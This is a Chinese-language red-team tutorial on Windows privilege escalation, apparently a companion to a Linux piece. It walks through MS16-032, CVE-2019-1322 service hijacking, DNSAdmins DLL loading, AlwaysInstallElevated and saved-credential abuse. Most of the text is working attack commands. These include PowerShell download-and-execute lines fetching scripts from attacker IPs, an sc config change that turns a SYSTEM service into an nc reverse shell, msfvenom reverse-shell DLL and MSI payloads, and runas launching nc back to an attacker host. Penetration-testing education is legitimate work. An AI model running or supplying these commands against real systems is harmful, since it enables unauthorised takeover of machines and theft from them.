本文與「酒仙橋六號部隊」的公眾號文章《紅隊測試之Linux提權小結》是兄弟篇,本節主要針對Windows作業系統下的權限提升進行介紹,提權是後滲透重要的一環節,在權限較低的情況下,站在攻擊者的視角進行內部網絡安全測試、系統安全測試、應用安全測試等方面會出現「束縛」,所測試出的質量與結果也會不同。本文基於Win作業系統下分別從內核漏洞、權限配置、DLL注入、註冊表等方面展開介紹,其中包含漏洞本身的介紹、漏洞復現過程等內容的展現。該提權內容的閱讀沒有前後順序,可根據讀者自身所需進行全文閱讀或某方向內容的閱讀。
權限提升意味著用戶獲得不允許他使用的權限。比如從一個普通用戶,通過「手段」讓自己變為管理員用戶,也可以理解為利用作業系統或軟體應用程式中的錯誤,設計缺陷或配置錯誤來獲得對更高訪問權限的行為。
為什麼我們需要提權讀取/寫入敏感文件
重新啟動之後權限維持
插入永久後門
Windows提權的常見方法內核漏洞
錯誤的服務權限配置
DLL注入
始終以高權限安裝程序
憑證存儲
漏洞介紹內核漏洞利用程序是利用內核漏洞來執行具有更高權限的任意代碼的程序。成功的內核利用通常會以root命令提示符的形式為攻擊者提供對目標系統的超級用戶訪問權限。
漏洞復現接下來我們以MS16-032來做演示。
給大家介紹下檢查Windows提權輔助工具,wesng主要幫助檢測Windows安全缺陷,是Windows Exploit Suggesters的升級版,通過讀取加載systeminfo命令的結果來輸出漏洞利用建議。
將wesng下載到本地主機上,先升級最新的漏洞資料庫。
python wes.py --update
將目標機器的systeminfo命令的結果輸出並保存,使用wesng進行檢查。
發現只安裝3個補丁,可以查看輸出結果來找對應的漏洞利用代碼。
3.下載
https://www.exploit-db.com/exploits/39719裡面的漏洞利用。
使用powershell下載漏洞利用代碼並執行。
Powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X:8000/ms16-032.ps1');Invoke-MS16-032漏洞介紹
Microsoft Windows 服務(即以前的 NT 服務)能夠創建可長時間運行的可執行應用程式。這些服務可以在計算機啟動時自動啟動,可以暫停和重新啟動而且不顯示任何用戶界面。這種服務非常適合在伺服器上使用,或任何時候,為了不影響在同一臺計算機上工作的其他用戶,需要長時間運行功能時使用。還可以在不同登錄用戶的特定用戶帳戶或默認計算機帳戶的安全上下文中運行服務。Windows服務(Windows Services)通常使用本地系統帳戶啟動。如果我們擁有可以修改服務配置權限的話,可以將服務啟動的二進位文件替換成惡意的二進位文件,重新啟動服務後執行惡意的二進位文件,可以獲取到system權限。
漏洞復現1.首先需要在找到存在配置權限錯誤的服務,這裡推薦大家使用powerup.ps1。
powerup是一個非常好用的windows提權輔助腳本,可以檢查各種服務濫用,dll劫持,啟動項等,來枚舉系統上常見的提權方式。
接下來我們以CVE-2019-1322進行演示,Update Orchestrator服務的運行方式為NT AUTHORITY\SYSTEM,並且在Windows 10和Windows Server 2019上已默認啟用。首先使用powershell加載powerup.ps1,需要在powerup.ps1結尾中加入InvokeAllchecks或者使用powershell執行時加載,執行如下代碼:
Powershell -exec bypass IEX(new-object Net.webclient).downloadstring('http://192.168.25.31:8000/PowerUp.ps1'); InvokeAllchecks發現USOSVC可以被修改和重啟。
2.接下來我們上傳nc,此處可以換成cs或msf生成的任意可執行文件 ,此處有一個小坑,binPath=和路徑中間有一個空格,修改服務啟動的可執行程序後,啟動服務。
1)停止USOSVC 服務。
PS C:\Windows\system32> sc stop UsoSvc2)將服務執行的exe文件修改為nc,反彈shell。
PS C:\Windows\system32> sc config usosvc binPath= "C:\GitStack\gitphp\nc.exe 192.168.25.31 4455 -e cmd.exe"3)將服務狀態設置為自動啟動。
PS C:\Windows\system32> sc config usosvc start=auto4)啟動服務:
PS C:\Windows\system32> sc start usosvc按部就班的執行。
設置並開啟服務。
漏洞介紹DLL注入提權是一種利用應用程式錯誤加載DLL的技術。可以使用此技術來實現提權以及持久控制。
首先,讓我們了解應用程式加載DLL的機制。
DLL代表動態連結庫,它是一個庫文件,其中包含可被多個應用程式同時動態訪問和使用的代碼和數據。DLL是Microsoft引入的,用於實現共享庫的概念。
漏洞復現如果一個用戶是DNSAdmins組成員,可以以管理員權限加載DLL,我們可以通過msfvenom來生成一個反彈shell的DLL文件獲取管理員權限。
首先查看我們的用戶權限,我們的用戶在DNSAdmin組裡面。
2.使用msfvenom生成一個反彈shell。
Msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=443 -f dll -o rev.dll在攻擊者機器啟動smb服務,通過UNC來讀取攻擊機上生成的DLL文件。
在目標機器上調用dnscmd來執行加載遠程DLL文件,普通用戶執行dnscms可能會失敗。
PS C:\Users\> dnscmd.exe /config /serverlevelplugindll \\X.X.X.X\s\rev.dllRegistry property serverlevelplugindll successfully reset.Command completed successfully.PS C:\Users\> sc.exe \\resolute stop dnsSERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x1 WAIT_HINT : 0x7530* PS C:\Users\> sc.exe \\resolute start dnsSERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 2644 FLAGS :5.獲取到system權限的shell。
漏洞介紹AlwaysInstallElevated是一項功能,可為Windows計算機上的所有用戶(尤其是低特權用戶)提供運行任何具有高權限的MSI文件的功能。MSI是基於Microsoft的安裝程序軟體包文件格式,用於安裝,存儲和刪除程序。
通過組策略中的windows installer來進行配置,默認情況下該配置是關閉的。
漏洞復現首先需要檢查計算機是否開啟了該配置,也可以通過執行powerup.ps1來檢查權限。
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated使用msfvenom生成一個msi文件用來反彈shell。
Msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=4567 -f msi > 1.msi安裝msi,獲取反彈shell。
msiexec /quiet /qn /i C:\Windows\Temp\1.msi漏洞介紹Windows7之後的作業系統提供了windows保險柜功能(Windows Vault),Window保險柜存儲Windows可以自動登錄用戶的憑據,這意味著需要憑據才能訪問資源(伺服器或網站)的任何Windows應用程式都可以使用此憑據管理器和Windows Vault並使用提供的憑據代替用戶一直輸入用戶名和密碼。
除非應用程式與憑據管理器進行交互,否則我認為它們不可能對給定資源使用憑據。因此,如果您的應用程式要使用保管庫,則應以某種方式與憑證管理器進行通信,並從默認存儲保管庫中請求該資源的憑證。
漏洞復現
1.通過cmdkey /list 列出存儲的所有用戶的憑據,發現administrator憑據被存儲在了本機上。
2.使用runas來以管理員權限啟動nc反彈shell。
Runas /user:administrator /savecred "nc.exe -e cmd.exe X.X.X.X 1337"3.在攻擊機啟動監聽,獲取反彈shell。
在測試項目中,測試人員通常會設法獲取shell,然後再進行下一步的操作,本文旨在給大家提供一些從普通權限到system權限的思路,基本總結如下:
1.通過查看內核版本,尋找是否存在可以利用的提權EXP。
2.通過信息收集,查看機器配置,帳戶密碼等查看是否可以利用。
3.通過查看系統的應用,或者第三方應用,查找服務本身是否存在問題,或者是否配置存在問題,如大家常見的mysql提權。